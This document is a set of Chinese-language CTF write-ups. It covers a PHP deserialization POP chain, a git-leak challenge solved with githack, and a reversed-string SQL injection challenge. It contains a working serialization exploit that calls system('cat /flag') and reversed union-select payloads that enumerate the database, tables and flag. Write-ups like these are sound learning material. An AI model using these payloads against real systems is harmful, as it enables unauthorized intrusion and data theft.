[FSCTF 2023]ez_php2
比较简单的pop链
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
} 确定链尾，反推pop链 ，主要还是区分set和call的触发条件，来调用魔术方法
最终的链子
Ha __destr-> Rd __call -> Er __set
最终的代码
<?php
class Rd{
public $ending;
public $cl;
public $poc;
}
class Poc{
public $payload = ['POC'=>'1111'];
public $fun;
}
class Er{
public $symbol;
public $Flag;
}
class Ha{
public $start;
public $start1;
public $start2;
}
$a = new Ha;
$b = new Poc;
$a->start2 = "11111";
$a->start1 = new Rd;
$a->start = $b->payload;
$a->start1->cl = new Er;
$a->start1->cl->Flag = 'cat /flag';
echo serialize($a);
[NCTF 2018]全球最大交友网站
git泄露
git show一下就行
dirsearch扫描一下，发现git
用githack clone一下
git log
git show，给了一个提示和假flag
告诉了flag应该在tag==1.0的commit里面，但是我直接把三个commit查看了一遍就找到了
[UUCTF 2022 新生赛]ezsql
进入靶场，看见登录框，尝试SQL注入
存在sql注入，应该是两个地方都存在注入点，那么进行闭合
很奇怪注释符跑前面去了，用一个字符串试试
哦，是倒序了，用脚本把sql语句进行倒序排列
import base64
strA = input()
strB = strA[::-1]
print(strB)
爆字段数没有回显，看了wp发现or被过滤了，那么可以用group by来爆，也可以用union select来尝试（这里是两列）
#2,1 tceles noinu )'1-
爆库名（这里如果是在usename进行的注入，就把回显位放在1上）
#2,)(esabatad tceles noinu )'1-
爆表
#'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-
爆字段
#'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-
查询字段内容
#galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-
